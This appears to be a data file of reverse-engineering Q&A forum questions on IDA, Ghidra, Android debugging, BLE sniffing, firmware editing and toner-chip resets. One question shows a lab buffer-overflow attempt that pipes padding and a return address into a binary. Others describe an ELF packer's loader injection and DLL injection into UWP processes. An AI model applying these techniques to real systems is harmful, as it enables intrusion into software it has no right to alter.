+" +"['debugging', 'android', 'gdb', 'frida']"," Title: Debug shared library in Android applicationBody: There is an Android application that has a shared library (.so) file in split_config.arm64_v8a.apk that I want to debug . +When I look at /proc/PID/maps I don't see that library (I do see the split_config.arm64_v8a.apk file), but I'm sure the library is loaded because I see logs that only that library prints. Additionally, the application calls System.loadLibrary("libMyLib.so"); to load that library. +How can I debug this shared library? +" +['pie']," Title: How is the data section dealt with in PIE?Body: According to my understanding, for the .rodata, the compiler can simply put it "next" to the .text section, because it shares the same page permissions, so wherever the binary is loaded, an instruction can find the global vars in the .rodata through RIP-relative adressing +But what about the data and bss since they are located at random distances to the .text section ? +" +"['android', 'linux', 'bluetooth', 'smart-devices']"," Title: How can I determine the bluetooth commands needed to communicate with my smart scale via bluetooth using my computer?Body: I have a Tanita-BC401 smart scale. This scale pairs with the "My Tanita" app via Bluetooth. +I have enabled the "Bluetooth HCI Snoop Log" developer option in my Android phone and went through the pairing procedure in the app. I first press "Pair" on the scale, and the display on the scale shows a "Pairing" symbol, I then click "Pair" in the app. Using Wireshark, I see that the following interactions between the phone and the scale while pairing: +
(1) Phone -> Scale: Sent Write request to Handle 0x0011, Value: 0100
+
+(2) Scale -> Phone: Rcvd Write Response, Handle 0x0011
+
+(3) Phone -> Scale: Sent Read Request, Handle 0x0011
+
+(4) Scale -> Scale: Rcvd Read Response, Handle 0x0011
+
+(5) Phone -> Scale: Sent Write Command, Handle 0x0013, Value: 0000000e000c00106a321f3b6a330031140b
+
+(6) Scale -> Phone: Rcvd Handle Value Notification, Handle 0x0010
+
+(7) Phone -> Scale: Sent Write Command, Handle 0x0013, Value 000000060004002000db
+
+By this point the scale the display stops showing the pairing symbol and shows me "0.0 kg". If I stand on it, it will notify the measured values through handle 0x0010. +I would now like to replicate the actions of the app using my computer (Arch Linux), such that I am able to be notified on Handle 0x0010. But I am not sure about how to replicate the pairing step. When I try to pair, I am not able to get rid of the pairing logo. +If I connect to the scale via "bluetoothctl", I can see the following characteristics: +
[NEW] Primary Service (Handle 0x8ff1)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0008
+        00001801-0000-1000-8000-00805f9b34fb
+        Generic Attribute Profile
+[NEW] Primary Service (Handle 0x8ff1)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009
+        273e5100-6b90-4779-83b8-b8bf1dadac35
+        Vendor specific
+[NEW] Characteristic (Handle 0x5ece)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char000a
+        273e510f-6b90-4779-83b8-b8bf1dadac35
+        Vendor specific
+[NEW] Descriptor (Handle 0xa280)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char000a/desc000c
+        00002902-0000-1000-8000-00805f9b34fb
+        Client Characteristic Configuration
+[NEW] Characteristic (Handle 0x5ece)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char000d
+        273e5108-6b90-4779-83b8-b8bf1dadac35
+        Vendor specific
+[NEW] Characteristic (Handle 0x5ece)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char000f
+        273e510e-6b90-4779-83b8-b8bf1dadac35
+        Vendor specific
+[NEW] Descriptor (Handle 0xa320)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char000f/desc0011
+        00002902-0000-1000-8000-00805f9b34fb
+        Client Characteristic Configuration
+[NEW] Characteristic (Handle 0x5ece)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char0012
+        273e5107-6b90-4779-83b8-b8bf1dadac35
+        Vendor specific
+[NEW] Characteristic (Handle 0x5ece)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char0014
+        273e510d-6b90-4779-83b8-b8bf1dadac35
+        Vendor specific
+[NEW] Descriptor (Handle 0x9e20)
+        /org/bluez/hci0/dev_BC_82_5D_0D_7F_E0/service0009/char0014/desc0016
+        00002902-0000-1000-8000-00805f9b34fb
+        Client Characteristic Configuration
+
+None of these characteristics have the handle 0x0011 or 0x0013. +If instead I connect to the scale using btgatt-client, I can see the same services and characteristics, but with different handles: +
service - start: 0x0001, end: 0x0007, type: primary, uuid: 00001800-0000-1000-8000-00805f9b34fb
+          charac - start: 0x0002, value: 0x0003, props: 0x02, ext_props: 0x0000, uuid: 00002a00-0000-1000-8000-00805f9b34fb
+          charac - start: 0x0004, value: 0x0005, props: 0x02, ext_props: 0x0000, uuid: 00002a01-0000-1000-8000-00805f9b34fb
+          charac - start: 0x0006, value: 0x0007, props: 0x02, ext_props: 0x0000, uuid: 00002a04-0000-1000-8000-00805f9b34fb
+
+service - start: 0x0008, end: 0x0008, type: primary, uuid: 00001801-0000-1000-8000-00805f9b34fb
+
+service - start: 0x0009, end: 0xffff, type: primary, uuid: 273e5100-6b90-4779-83b8-b8bf1dadac35
+          charac - start: 0x000a, value: 0x000b, props: 0x10, ext_props: 0x0000, uuid: 273e510f-6b90-4779-83b8-b8bf1dadac35
+                  descr - handle: 0x000c, uuid: 00002902-0000-1000-8000-00805f9b34fb
+          charac - start: 0x000d, value: 0x000e, props: 0x04, ext_props: 0x0000, uuid: 273e5108-6b90-4779-83b8-b8bf1dadac35
+          charac - start: 0x000f, value: 0x0010, props: 0x10, ext_props: 0x0000, uuid: 273e510e-6b90-4779-83b8-b8bf1dadac35
+                  descr - handle: 0x0011, uuid: 00002902-0000-1000-8000-00805f9b34fb
+          charac - start: 0x0012, value: 0x0013, props: 0x04, ext_props: 0x0000, uuid: 273e5107-6b90-4779-83b8-b8bf1dadac35
+          charac - start: 0x0014, value: 0x0015, props: 0x10, ext_props: 0x0000, uuid: 273e510d-6b90-4779-83b8-b8bf1dadac35
+                  descr - handle: 0x0016, uuid: 00002902-0000-1000-8000-00805f9b34fb
+
+Here I can see that the handle 0x0011 is the handle for the descriptor with uuid. 00002902-0000-1000-8000-00805f9b34fb +If I write "write-value 0x0011 01 00", and then "read-value 0x0011", I can see that I have successfully written 01 00 to 0x0011 (step 1). +After this, I am trying to replicate step (5) by sending a write command with the value "000000060004002000db" to handle 0x0013, but I am not able to do this. If I try to send a write command, I get an error: +
write-value -w 0x0013 000000060004002000db
+
+Invalid value byte: 000000060004002000db
+
+I am not sure about how to proceed. At this point, I have not been able to get the scale to respond, it continues showing the "Pairing" logo. How can I find out the commands that I have to use? +" +['ida']," Title: Prevent IDA from jumping to disassembly when debugging with decompilerBody: I've noticed that whenever I'm single stepping for loops inside IDA hexrays decompiler it'll jump to the disassenbly view, doesn't matter if I step through with F8 ou F7, what gives and can I prevent it? +" +"['symbols', 'gcc', 'dynamic-linking']"," Title: How can I tell ld to link to a local symbol in a shared object?Body: Symbols in shared objects can be either local or global. This is controlled by a flag in the symbol table. If the symbol is local, ld won't resolve to it. +Reverse engineering can often be aided by doing this, by linking a shared object and referencing its symbols (e.g. printf("%p", main_arena). Since all the information is there, and its only a flag telling ld to ignore this, it should be possible to tell ld to resolve a local symbol as well. How can I do this? +Note that a simple patch of the flag isn't enough: +
objcopy --globalize-symbol=main_arena libc-2.30.so libc-2.30.global_symbols.so
+
+even though the symbol is now listed as global, ld still can't find it, because all global symbols must be before any local (see https://github.com/lief-project/LIEF/issues/112 ) and perhaps for other issues (see https://stackoverflow.com/questions/6527014/making-a-local-symbol-global ). It might be possible to rebuild the entire symbol table, but this will introduce other changes that we don't want. What we want is simply to tell ld "Please break the rules and resolve local symbols as well, just like gdb does." +" +"['linux', 'memory-dump', 'flash', 'binwalk']"," Title: Edit Squashfs filesystem in flash memoryBody: I have read Flash memory and analyze with binwalk and find out Squashfs that I can extract with dd and open with unsquashfs . +When I open this FS I want to add some file into this FS and edit some shell script then pack this squashfs again and put it back into flash system. +The problem is :when I pack again the squashfs it bigger then the original fs. Then I can't put it exactly in the location into flash memory because it's overlap the next partition in FS. +What can I do please? +" +"['binary-analysis', 'binary', 'buffer-overflow']"," Title: How to exploit __isoc99_scanf with a segmentation faultBody: I'm an absolute newbie when it comes to all this side of reverse engineering. Each time I try and understand it, I get lost almost immediately. +I am trying a lab. I open it up in Binary Ninja. I get the following + +When I open main I get the following + +Nothing much seems to happen but there is a function(?) called flag that looks like what I need + +When I copy the address, it comes out as: +
0x401152
+
+I'm trying to do stuff like this on the command line but getting nowhere fast +
python3 -c "print (28 * 'A' + '\x52\x11\x40')" | ./santa;
+
+I then try to iterate through and no luck although I do get a segmentation fault on the 53rd iteration +
for i in {0..60}; do python3 -c "print ($i * 'A' + '\x52\x11\x40')" | ./santa; done
+
+Any pointers? I'm absolutely lost +" +"['disassembly', 'assembly']"," Title: .data segment seems to contain code?Body: I have recently been trying to improve my skills on reverse engineering. So, I opened C:/Windows/System32/DriverStore/FileRepository/xboxgip.inf_amd64_90ed6b3fdc759a5b/devauthe.sys in IDA. While playing around the file, I came across the following bytes under .data segment: +
00 00 00 00 00 00 00 00  00 00 00 00 32 A2 DF 2D
+99 2B 00 00 CD 5D 20 D2  66 D4 FF FF 01 00 D2 8B
+0A 35 60 BD F1 C9 D6 5D  6C 59 51 D5 24 FD 02 F5
+43 26 29 79 53 3E B0 FB  2B 97 BF 5E FC 20 02 00
+54 B4 F2 54 77 D2 99 71  BD 9C 0B 85 C9 D0 29 BE
+85 AD 6B CB D7 CA 71 D4  AB 28 DB FA 1A 0E E0 9F
+03 00 B0 EB 26 B7 F4 68  74 C7 34 F0 18 10 26 20
+01 BB 63 6E F6 20 E2 3B  D7 7B D1 1A B4 6D 33 BA
+6B 4B 5C D0 0D 95 6B 2F  CF 0D 53 C5 AE AC 03 87
+23 9B A4 BE 5D 70 E1 26  19 06 56 49 79 E6 7C 1A
+71 20 D0 11 C1 D8 7C 61  44 3A 47 B2 9E 8E 44 AB
+2E 42 EB 59 B0 3B F1 9C  B1 66 4F A3 DA 37 1F 30
+5B 7E FF E5 FC 87 00 00  00 00 00 00 C9 57 84 41
+69 9B 06 7E C1 14 C5 CA  C1 56 B7 8F 71 48 4A FC
+08 1D A5 E6 C9 DB F6 53  A6 15 78 5F F4 46 C1 48
+76 3B DF 9B 84 5B A3 49  5C 46 B5 D1 66 81 8A 53
+E5 EC 02 85 02 2C 4B 24  61 9E 3C 2A A5 28 4D 85
+F7 A6 25 45 B4 4D EC FD  A0 CD AB 01 8D B3 71 07
+DA 93 06 6E D6 37 A1 16  EF 74 E1 A6 BC E0 CE E7
+D4 02 C9 C1 40 5B CD 3B  9A 62 84 39 E8 40 3D 13
+20 E2 1A B6 3C D3 E6 7A  C6 F3 27 B4 6D 66 5B 8D
+52 81 06 0F 3C BC F3 1C  05 90 77 67 8B 99 FD 00
+04 AD 27 E9 1D B5 68 B2  21 A6 0D A5 81 C0 53 C9
+99 B4 ED F1 11 D0 01 91  59 A8 ED 80 BA 82 86 62
+CF 3D 94 70 C3 1C 50 9E  C6 95 6D 57 17 0F 95 DA
+14 38 76 38 09 E7 D5 0C  3E 89 2F 5D DF F4 D6 31
+C1 26 02 9C 30 0B EE 28  A7 86 74 A3 46 8F B7 85
+FA 8C 0F BB 79 65 A5 AD  C9 12 BA CF 43 64 CC 62
+A0 30 3F AE 88 06 40 86  EF 27 CA 93 52 53 41 32
+
+Looking at the bytes, it doesn't seem to be ASCII strings, neither does it look to be code, since disassemblers fails on certain bytes. I understand my question might be a bit vague, but can anyone tell me what this is? +" +"['ida', 'x86', 'register', 'calling-conventions']"," Title: IDA Pro - configure register clobberingBody: TL;DR: +The __fastcall convention in IDA Pro assumes that all the registers which could be used for transferring parameters are clobbered after a call (tested on x86, clobbered regs are eax, edx, ebx, ecx). I'm wondering how can I change that. +Full explanation: +I have a chunk of code (used Watcom name mangling): +
cseg01:00062A6B                 mov     edx, [ebp+tng1]
+cseg01:00062A6E                 mov     eax, [ebp+this1]
+cseg01:00062A71                 call    W?MyMethod$_Whatever$n_x__pn$SubObject$$
+cseg01:00062A76                 call    W?MySubMethod$_SubObject$n_pn$Thing$$_l
+cseg01:00062A7B                 cmp     eax, 0Ah
+
+The functions are: +
SubObject *__fastcall Whatever::MyMethod(Whatever *__hidden this);
+int __fastcall SubObject::MySubMethod(SubObject *__hidden this, Thing *tng);
+
+IDA Pro produces: +
(v3 = Whatever::MyMethod(this1), SubObject::MySubMethod(v3, v4) < 10)
+
+So the proper code clearly is: +
(this1->MyMethod()->MySubMethod(tng1) < 10)
+
+The problem is — IDA did not use tng1 as the 2nd argument of MySubMethod() — instead, it defined a separate variable v4 with an unset value. +Because we use __fastcall for both functions, first arg is passed through eax, second by edx. The code so happens to set the value of edx before the first call, even though it's really an argument for the second call. IDA seem to assume that MyMethod() overwrote (or with proper nomenclature, clobbered) the value of EDX). +I tried __usercall and __userpurge, and it had no impact on the code — IDA still assumes EDX was clobbered by the first call. +Is there a way to configure/change that behavior, making IDA know that function calls does not clobber registers? +I remember fixing it in the past, so there is a way, just can't remember what it was exactly... +Also, it would be nice to configure that on a project level instead of defining a custom calling convention for every function. +" +"['ida', 'c++']"," Title: IDA interpretation of switch-case statementBody: This is my first question on this forum, so I hope that it would not be offensive or redundant. +So recently I am attempting to developing some kernel extensions for Apple's macOS using the IOKit framework. However, in the debugging process, I encountered some confusions while looking at the assembly and pseudocode of my binaries generated by IDA. +Currently, the greatest issue is how the normal switch case statement is interrupted by the decompiler — _bittest64 commands would be yielded with huge numbers as arguments. I am somewhat sure that it has to do with the “lower-bound” of the cases, but I don't know how exactly should I comprehend it. Here is an example: + + +I can't really see how they relate, particularly the _bittest64 part. Just by the way, the enum kBluetoothIntelHardwareVariantJfP = 0x11 and kBluetoothIntelHardwareVariantSlrF = 0x19. +Happy thanksgiving! +" +"['ida', 'c++', 'ida-plugin', 'dynamic-linking', 'class-reconstruction']"," Title: How is it possible to generate C++ class header from a .dll or ELF file?Body: I loaded a dynamic library file to IDA. I can clearly see the function signatures from the "Function name list". There are RTTI items in the "Structures" tab as well, but I don't really understand it. I would like to generate a.hpp header file from the library, so I could use this DLL from my C++ projects. +My final goal would be to rewrite this library in a way, that it can be used from the programs, that depend on the original dll. +I tried to use the IDA ClassInformer PlugIn, but I get this result: +
>> Class Informer: v: 2.5, built: Jul 13 2018, By Sirmabus
+Working..
+** Failed to load the IDA TypeDescriptor type, generating one **
+
+Processing C/C++ ctor & dtor tables..
+-------------------------------------------------
+0000000010705194 I: "_initterm", 6 bytes.
+00000000107061B8 import: "__imp__initterm".
+ 
+0000000010705194 processInitterm: "_initterm" 
+  0000000010704FF2 "_initterm" xref.
+  ** arguments not located!
+ 
+00000000107061B8 processInitterm: "__imp__initterm" 
+ 
+Processing time: 2.52 milliseconds.
+
+Scanning for for RTTI Complete Object Locators..
+-------------------------------------------------
+ N: ".data", A: 000000001080A000 - 000000001080C000, S: 8 KB.
+ N: ".rdata", A: 00000000108061CC - 000000001080A000, S: 15.6 KB.
+ N: ".idata", A: 0000000010806000 - 00000000108061CC, S: 460 bytes.
+ N: ".text", A: 0000000010801000 - 0000000010806000, S: 20 KB.
+     Total COL: 0
+COL scan time: 0.001
+
+Scanning for Virtual Function Tables..
+-------------------------------------------------
+ N: ".data", A: 000000001080A000 - 000000001080C000, S: 8 KB.
+ N: ".rdata", A: 00000000108061CC - 000000001080A000, S: 15.6 KB.
+ N: ".idata", A: 0000000010806000 - 00000000108061CC, S: 460 bytes.
+ N: ".text", A: 0000000010801000 - 0000000010806000, S: 20 KB.
+Vftable scan time: 0.003
+ 
+
+=========== Stats ===========
+  RTTI vftables: 0
+Processing time: 6.27 milliseconds
+Done.
+
+It does not show anything. What do I wrong? +" +"['ida', 'decompilation', 'hexrays']"," Title: Re-analyse HexRays decompiled outputBody: I have analysed a large library in an older version of IDA and want to upgrade. I have marked lots of functions as "decompiled" and changed their function signatures. +How do I automatically re-analyse all functions in a library in IDA & HexRays, without losing changes I have made already, so that I can benefit from updates to the decompiler? +" +"['ida', 'idapython']"," Title: IDAPython: function parameters and return valueBody: I want to get a function's signature information: return type and parameters from x64 binaries. I am able to achieve so, using +
tif = idaapi.tinfo_t()
+ida_nalt.get_tinfo(tif, ea)
+function_type = tif.get_rettype()
+metadata[function]["ret_type"] = function_type
+funcdata = ida_typeinf.func_type_data_t()
+for i,v in enumerate(funcdata):
+        itype = ida_typeinf.print_tinfo('', 0, 0, idc.PRTYPE_1LINE, v.type, '', '')
+        metadata[function]["parameter_list"].append(tuple([i, v.name,itype]))
+
+This script works in a lot of cases, but fails in some simple cases, like for example +
double retDouble()
+{
+  return 2.4;
+}
+
+In such case, I get an empty tif object, and thus I can't recover the return type — which is double in this case. I believe this happens in cases where there are no function parameters present (like in above case). In such case, How can I recover the return type (or at least recover the type, or is it not possible at all)? I want the type object and not the type as a string, the later can be achievable by parsing IDA disassembly and retrieving function signature by something like regex. +" +"['idapython', 'hexrays']"," Title: Functions and methods for working with AST treeBody: I am implementing deep search with Python Hex Ray API. +Can someone say classes and methods for implementing this feature with the IDA Python API? +" +"['disassembly', 'ghidra']"," Title: Dump PCode in Ghidra for a specific decompiled functionBody: I'm working on an automatic exploit-generation system for low level code, and I want to try it out on real world code. +I thought PCode might be a nice place to start, since it abstracts away over many of the details that for example x86 deals with. +I've installed Ghidra, and I am able to decompile binaries to C, but I am looking to get the PCode for a specific decompiled function from the binary. +There is a previous question on here that is related to this elsewhere, but the scripts that are linked no longer work with the latest version of Ghidra. +Could anyone provide some advice on how to get Ghidra to produce PCode after decompilation? +EDIT: For those interested, I've completed a script that dumps every decompiled function: https://github.com/niconaus/PCode-Dump/blob/main/PCodeDump.java +" +['winapi']," Title: WinApi of UWΡ ShаdοwsBody: I want to ask which WinApi methods being used to draw shadows under flyouts on UWΡ. + +What I know: +
    +
  1. This shаdοw disappearing when hiding flyout (via SW_HIDE), but it stays if we one hide it using SetWindowLong&GWL_EXSTYLE and SetLayeredWindowattributes then to set LWA_ALPHA to 0.
  2. +
  3. In addiction to this, if you know how UWP works at all, the main form is being created not at the main executable's process, but at ApplicationFrameHost.exe. Flyouts (their windows) is being created exactly at the main executable, not at ApplicationFrameHost.exe.
  4. +
  5. One can turn off 'Shοw trаnsparenсу in Windοws' setting (Settings -> Ease of access -> Display). And I know that this can be performed using registry key, but its system-wide setting and I cant be sure that any other application rather than UWΡ will not ignore this registry key and just draw this shаdοw :(
  6. +
+p.s. How do I inspect the flyout if its being hidden when window is unfocused? One can set WS_EXSTYLE with WS_EX_NOACTIVATE to the main form (ApplicationFrameHost.exe -> ApplicationFrameWindow -> Windows.UI.CoreWindow). Then, if one will cause this flyout to appear and then click somewhere outside the window, flyout will not close so one can inspect it with WinSpy++ or something else. +What I've tried: +I created a testing form on UWΡ, where were two flyouts with all the same properties, where only difference was that the first one has shаdοw, the second one don't. After this, I performed that trick with NOACTIVATE to inspect two flyouts' attributes. And I don't see any difference. Like not class flags or window flags, they are all the same. +Talking about reversing, I tried to use +
    +
  1. WinAPIOverride64
  2. +
  3. API Monitor v2 (Alpha) 64-bit
  4. +
  5. Injecting DLL, which overrides some chosen functions from WinApi (I know about injection techniques in UWΡ, injection does work, but I can't find exact method, which is drawing this shadow)
  6. +
+As for documentation, I can only see that one can add this kind of shаdοws using XAML attributes, but this doesnt make it clear which WinApi methods is used for this. +What I want to do exactly? I want to remove this shadow from any window during runtime via DLL Injection. But, as I can't find which API method is being used, I can't override it. +I've already spent about a month on this puzzle, but I can't solve it. Maybe somebody can help me :)
+Thanks! +" +"['assembly', 'elf', 'packers', 'gcc', 'aarch64']"," Title: failed to trigger packer's loader by overwritting the entry of rela.dyn on aarch64Body: I have implemented packer of x86_64 shared library. +Briefly, a loader is injected to a shared library, and +the rela.dyn entry is modified such that it points to the address of the loader. Once the loader is triggered, it decrypts the .text section and finally jump to the address of the .text section. +The mechanism works fine for x86_64 shared library. +But it failed on aarch64 shared library. +Questions: +
    +
  1. Did I miss any steps that specifically for the aarch64 ?
  2. +
  3. Is there any other ways to pack an aarch64 shared library ?
  4. +
+The result of readelf is provided bellow. +libtest.so is the library before packing. +While libtest_packed.so is the library after packing. +here is the result of readelf --relocs libtest.so +
Relocation section '.rela.dyn' at offset 0x550 contains 7 entries:
+000000010df0  000000000403 R_AARCH64_RELATIV                    780
+000000010df8  000000000403 R_AARCH64_RELATIV                    738
+000000011018  000000000403 R_AARCH64_RELATIV                    11018
+000000010fc8  000300000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTMClone + 0
+000000010fd0  000400000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
+000000010fd8  000500000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0
+000000010fe0  000700000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCloneTa + 0
+
+the functions corresponding to the first 3 entries are: +
0000000000000780 t frame_dummy
+0000000000000738 t __do_global_dtors_aux
+000000000011018 d __dso_handle
+
+here is the result of readelf --relocs libtest_packed.so +
Relocation section '.rela.dyn' at offset 0x550 contains 7 entries:
+  Offset          Info           Type           Sym. Value    Sym. Name + Addend
+000000010df0  000000000403 R_AARCH64_RELATIV                    11028
+000000010df8  000000000403 R_AARCH64_RELATIV                    738
+000000011018  000000000403 R_AARCH64_RELATIV                    11018
+000000010fc8  000300000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTMClone + 0
+000000010fd0  000400000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
+000000010fd8  000500000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0
+000000010fe0  000700000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCloneTa + 0
+
+As you can see, the first entry is overwritten by the address of the loader. +------------ Update --------- +
    +
  1. if I xor-ed the .text section, the xor-loader is bypassed
  2. +
+
    +
  • I got Illegal instruction (core dumped), since the .text section has not been decrypted by the xor-loader. (confirmed by inspecting the .text section by gdb)
  • +
  • I have the loader objdump-ed, the loader is intact.
  • +
+
    +
  1. if I don't xor the .text section, the xor-loader is called and work normally. (But the decryption is wrong, since the .text section has not been xor-ed beforehand).
  2. +
+Since shared library don't have an entry point. I overwrite +the frame_dummy pointer such that the program can jump to the .text +section, base on this project +https://github.com/0xN3utr0n/Noteme/blob/master/injection.c +The mechanism of my loader is inspired by +https://github.com/sebastiencs/Packer_ELF +" +['c']," Title: Understanding Loop Statements: For & WhileBody:

Background

+Hello! New user. I am working on a personal computer science project that involves research on loop statements such as the for and while loops in C - these loops can apply to other programming and scripting languages but, to keep things simple I want to focus primarily on C. +
+

Issue

+I would like to know how developers of programming and scripting languages are able to create for and while loops for those same languages. How can I achieve this for experimentation purposes? Do I have to learn assembly? If so, can anyone provide me with guidance? +Apologies if my original question was too vague. +Cheers! +" +"['c++', 'pintool']"," Title: IntelPin, Ins_Insertcall?Body: please help me with Intel Pin: +I print each instruction to the console and I want to insert +++++ after it using Ins_Insertcall: +
VOID CpuidCalled(const CONTEXT* ctxt)
+{
+std::cerr << "+++++" << std::endl;
+}
+
+std::cerr << INS_Disassemble(ins) << std::endl;
+INS_InsertCall(
+ins,
+IPOINT_BEFORE, (AFUNPTR)CpuidCalled,
+IARG_CONTEXT,
+IARG_END
+);
+
+Output: +
mov esp, esi
+pop ebx
+pop edi
+pop esi
+pop ebp
+ret 0x10
++++++
++++++
++++++
++++++
++++++
++++++
+mov byte ptr [ebp-0x19], al
+mov dword ptr [ebp-0x4], 0xfffffffe
+mov dword ptr [ebp-0x24], 0x0
+call 0x779fdd6d
++++++
++++++
++++++
++++++
+
+why so and how can it be fixed? Thank you +" +"['ghidra', 'control-flow-graph']"," Title: I need to make a dominance tree using Ghidra headlessBody: I need to make a dominator tree where I need to tell a function(a) dominates function(b). There is an API in GraphAlgorithms which needs GDirected graph and "vertex from" parameters, but I am having trouble figuring out how to make that graph. Can anyone help with this problem? +In the dominance tree, I need to find a particular function or basic blocks is a dominator.(either of them will work) +
+findDominanceTree​(GDirectedGraph<V,​E> g, TaskMonitor monitor) +
+The GdirectedGraph has parameters V and E, I don't know what to put in these parameters. +Any help will be greatly appreciated. +p.s. dominance : +a node 'a' dominates node 'b' if all paths from start to 'b' contain 'a'; a node always dominates itself (except in 'strict dominance', which is all dominators except for itself) +" +"['ida', 'disassembly']"," Title: Force IDA to redo SP analysis?Body: I had a function which I was unable to decompile due to a positive SP value, I tried to change it manually but accidentaly made everything worse, is there a way to restore/make IDA redo the original analysis so I can get the orignal values? I already tried undefining the code region and defining it again but it didn't work +" +['anti-debugging']," Title: Is that message mean the program has an anti-debugger?Body: When trying to debug a program using the x64dbg and in a specific step, the following problem happens: + +Is that mean that the program has an anti-debugger?
+if not, why when debugging the program and in a specific step that problem happen? +" +"['memory', 'hex', 'address', 'offset', 'cheat-engine']"," Title: How does Cheat Engine offset calculation work?Body: I have this memory address 0F58F478 and this offset 5C. I'm using memory sharp and it works perfectly when I'm adding this number. +
IntPtr address = _mSharp.Read<IntPtr>(0F58F478, false) + 0x5C;
+// address output: 035F4E60
+
+According to Cheat Engine this would be the result 035F4E60. But I've tried using a Hex Calculator and the result is by far kinda different. I'd like to know how MemorySharp or CheatEngine calculates this sum. + +Notice that when I add 0 to a pointer this change its value, how this works? Why 0 is adding value there? + +" +"['ida', 'idapython']"," Title: idapython: type information with different prefixesBody: I checked how to get type information here - https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf.html +Although, I am not sure what these different type prefixes mean. For e.g. BT_{type}, BTMT_{type}, BTF_{type}, etc. I couldn't find any information which distinguishes these types. +" +"['disassembly', 'debugging', 'debuggers', 'hardware', 'reassembly']"," Title: Brother DCP-L2550DW Identify Toner Reset TN-760 or TN-730 (Continued)Body: I'm really continuing discussion on a previous question posed 2 years ago ("Identifying a toner chip and its communication protocol to re-program it"). +I found that user to have the most information (which overall isn't a lot but more useful than anything on the Internet and nothing more has been posted since then! As of December 2021). For mine the context is for Brother DCP-L2550DW for toner TN-760 or TN-730. Rather than TN227 or TN223. I followed the same format and made similar assumptions. Based on their discovery, I sort of just put my hypotheses here for SDA, GND, SCL, VCC (literally what the previous discussion Answer #1 stated as their guesswork and for whom 1 responder said it was correct for them?). I'm no engineer, so I had to just make analogous assumptions. For communication’s sake I put 1, 2, 3, and 4 for Pad 1, Pad 2, Pad 3, and Pad 4. + + +I'm using IC2 Scanner program and running it in Arduino using ELEGOO UNO R3. The problem is that when I physically connect to the configuration and any combination thereof and run the code (or “serial monitor”) the output stops. While I'm still physically holding the pins to the “pads” on the microchip (i.e. the FOUR fat rectangular contacts) the code is at a blank or just “writing”. Upon release of the pins, it spews out gibberish, which I assume is the tested address for IC2. I know I'm doing something wrong. +My assumption based on the previous forum is that GROUND is 2 and VCC is 4. I have mixed all other combos to no avail. I strongly feel there is a noob mistake I'm doing. +Want it thrown out there that I cannot identify the manufacturer for Brother and I agree with the previous user that whoever they partnered with encrypted their identity on the chip. I went on a few websites to identify WHO it is but I do not see any entity with a reverse “RJ” with “iii” symbol. I cannot find locate the data sheet to explain the bus controller configuration and what is SCL, SDA, GND, or VCC. +So my option is simply reverse engineer with “IC2 Scanner” with arduino OR “logical analyzer”. I'm opting for the former. I figured out how to bypass the printer “low toner” message and can print. But I am dead curious how to reset this toner microchip, as I don't like this man-made block for DIYers for refilling our own cartridge. The chips can be reset bc I noticed on the market for Amazon or eBay some third party are selling these chips with similar design (New Era Toner). This microchip (IC2 + EEPROM or EPROM) has a similar look, with the “M” and inverted “M” or “W” on opposite top or sides of the microchip (see picture). And from those selling from 3rd party, It's consistent in design. The design is also similar to the card posted on this forum 2 years ago, albeit some differences. So it's gotta be some mass batch for brother printers and a partner for whose identification remains elusive. I feel like their identity is within reach. Here is a website that I used but did not have my answer: How to identify integrated circuit (chip) manufacturers by their logos/P-T. +I am not averse to buying the genuine parts but based on some articles (What You Need To Know About Brother Microchip Cartridges). Brother is now aggressive and jacking up the price to HALF the cost of the printer, which I find revolting. And they are doing it BC they found a way to hijack our printers with the microchip. I figured I would buy another microchip third party maybe after 4-5 refills on my own (which BTW this printer is relatively new model 2021 so I discovered a chip on it). But even those have issues with low count or compatibility. +Anyways thanks for your help. Not an engineer but I have rudimentary understanding of hardware software. I know fundamentals of programming or enough of it. My previous experience was successfuly resetting toner cartridge for Ricoh printers but finding Brother to be rather annoying in lack of information. Reverse engineering seems to be the only key to get this to work and a few ppl figured out their way (3rd party sellers). +PS - "Continue" mode that allows us to print after "low toner" status is still within the parameters of what Brother wants. It will disable your printer after using it once. So I do not have a means of printing further with this chip. What is Toner Continue Mode? Brother. +Update: I have resigned to finding manufacturer. But I wanted to make one last point. Here is image of the previous forum (linked on top) side-by-side with my picture. One of the hidden commenters (5th responder) below on that discussion confirmed they were successful based on the hypothesus of the first commenter. And if that is true I noticed similarity in design as far as the circuitry on mine and the other original poster. And if THAT is true and the supposed circuitry is correct then possibly I have more of a software issue on the I2C scanner software. And I also don't know if mine is 5 volts or 3.3 volts (but I really want to say it would be 3.3 volts bc of my unscientific hunch). I would have to invest in a "logic analyzer" which is where I might suspend activity for now since that is another rabbit hole. I added a link to a DIY Youtuber who is also not a professional engineer but who did a fantastic job explaining what he knew. In the comment section (gotta dig a little deep but not too longer) there is a reference for the I2C scan code to READ the chip. Under his guidance it supposedly is able to scan for the address but that's assuming one knows the circuitry of the EEPROM. Without knowing that step its just plain hard to continue. I included it to show what code I was using for my arduino UNO R3 which is producing the same results with the proposed configuration as when I don't touch the wires to anything (i.e. serial output runs address gibberish when I touch nothing on the other end). +Side by side comparison of the two EEPROMS, original of which had confirmation of successful result. I had no luck. + +YouTube EEPROM Explanation with Source Code in comment section +Also, here is the EEPROM under a microscope: + + +" +"['ida', 'decompilation']"," Title: identify the functions of stripped binariesBody: As far I know that stripped binaries when we decompile it we can't know what most of functions 